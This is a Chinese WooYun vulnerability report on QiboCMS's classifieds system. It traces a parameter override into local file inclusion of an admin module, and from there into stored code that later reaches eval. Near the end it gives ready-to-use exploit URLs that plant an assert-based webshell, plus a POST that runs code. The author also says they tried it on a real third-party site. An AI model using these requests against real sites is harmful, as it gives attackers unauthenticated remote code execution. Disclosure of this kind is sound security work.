当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0122599

漏洞标题:qibocms 分类系统最新版 前台无限制Getshell。

相关厂商:齐博CMS

漏洞作者: ′雨。

提交时间:2015-06-24 23:21

修复时间:2015-09-27 16:22

公开时间:2015-09-27 16:22

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-06-24: 细节已通知厂商并且等待厂商处理中
2015-06-29: 厂商已经确认,细节仅向厂商公开
2015-07-02: 细节向第三方安全合作伙伴开放
2015-08-23: 细节向核心白帽子及相关领域专家公开
2015-09-02: 细节向普通白帽子公开
2015-09-12: 细节向实习白帽子公开
2015-09-27: 细节向公众公开

简要描述:

看到分数的那一刻,眼泪留下来。
分数出来以前一直感觉静不下心来,分数出来后更是。。
唉 , 或许要复读。
把之前一些没来得及发的洞先发了来。、
无需登录,无视GPC。

详细说明:

下载地址:http://down.qibosoft.com/down.php?v=fenlei1.0
首先来看一下inc/common.inc.php中

isset($page) && $page = intval($page);
isset($id) && $id = intval($id);
isset($fup) && $aid = intval($fup);
isset($aid) && $aid = intval($aid);
isset($rid) && $rid = intval($rid);
isset($fid) && $fid = intval($fid);
isset($cid) && $cid = intval($cid);
isset($cityid) && $cityid = intval($cityid);


可以看到city_id在全局文件中被intval了。
再看到search.php中

$postdb[city_id]	&&	$city_id	=	$postdb[city_id];//对city_id 重新定义了一次。 导致了无视全局文件中的intval了。
$postdb[street_id] && $street_id = $postdb[street_id];
$postdb[zone_id] && $zone_id = $postdb[zone_id];
@include_once(ROOT_PATH."data/zone/$city_id.php");//包含
$city_fid=select_where("{$_pre}city","'postdb[city_id]' onChange=\"choose_where('getzone',this.options[this.selectedIndex].value,'','1','')\"",$city_id);


全局有转义 截断不了
但是因为qibo的特殊性 在qibo的后台文件当中
function_exists('html') OR exit('ERR');
所以直接访问是不行的。
是这样判断的 所以我们就算不能截断 我们可以直接把后台的文件包含进来 然后进而操作后台。
所以qibo在操作包含的文件中都用正则来过滤了, 却遗漏了这里。
本来想参考师傅大屌的 WooYun: 齐博地方门户鸡肋文件包含造成的高危SQL注入
但是打开do/js.php 发现

<?php
error_reporting(0);
require(dirname(__FILE__)."/../data/config.php");
if(!eregi("^([0-9]+)$",$_GET['id'])){
die("document.write('ID不存在');");
}


已经把extract去掉了, 那就找另外的。
在admin/hack.php中

if($hack&&ereg("^([a-z_0-9]+)$",$hack))
{
if(is_file(ROOT_PATH."hack/$hack/admin.php")){
include(ROOT_PATH."hack/$hack/admin.php");
}else{
showmsg("文件不存在");
}

}


再包含文件 再继续跟。
在hack/jfadmin/admin.php中

elseif($action=="addjf"&&$Apower[jfadmin_mod])
{

$db->query("INSERT INTO `{$pre}jfabout` ( `fid` , `title` , `content`, `list` ) VALUES ( '$fid', '$title', '$content', '$list' )");
jump("添加成功","index.php?lfj=jfadmin&job=listjf&fid=$fid",1);
}


这里入库了。
再看到do/jf.php中

$lfjdb && $lfjdb[money]=get_money($lfjdb[uid]);
$query = $db->query("SELECT * FROM {$pre}jfsort ORDER BY list");
while($rs = $db->fetch_array($query)){
$fnameDB[$rs[fid]]=$rs[name];
$query2 = $db->query("SELECT * FROM {$pre}jfabout WHERE fid='$rs[fid]' ORDER BY list");//这里默认查的都是1 所以入库的时候fid弄为1
while($rs2 = $db->fetch_array($query2)){
eval("\$rs2[title]=\"$rs2[title]\";");//就eval了。
eval("\$rs2[content]=\"$rs2[content]\";");
$jfDB[$rs[fid]][]=$rs2;
}
}


准备写一句话的时候,却发现了
在inc/common.inc.php中

function Add_S($array){
foreach($array as $key=>$value){
@eregi("['\\\"]+",$key) && die('ERROR KEY!');
if(!is_array($value)){
$value=str_replace("&#x","& # x",$value); //过滤一些不安全字符
$value=preg_replace("/eval/i","eva l",$value); //过滤不安全函数
!get_magic_quotes_gpc() && $value=addslashes($value);
$array[$key]=$value;
}else{
$array[$key]=Add_S($array[$key]);
}
}
return $array;
}


把eval替换了,这样我们就用assert把。
http://web/new/fenlei/search.php?mid=1&action=search&keyword=asd&postdb[city_id]=../../admin/hack&hack=jfadmin&action=addjf&Apower[jfadmin_mod]=1&fid=1&title=${@assert($_POST[yu])}
http://web/new/fenlei/do/jf.php
POST:yu=phpinfo();
随便找了个测试了下
http://qbfenlei15.2fly.com.cn/do/jf.php

漏洞证明:

1.JPG

修复方案:

继续用你们惯用的正则把这个限制一下。

版权声明:转载请注明来源 ′雨。@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2015-06-29 16:20

厂商回复:

感谢提出来

最新状态:

暂无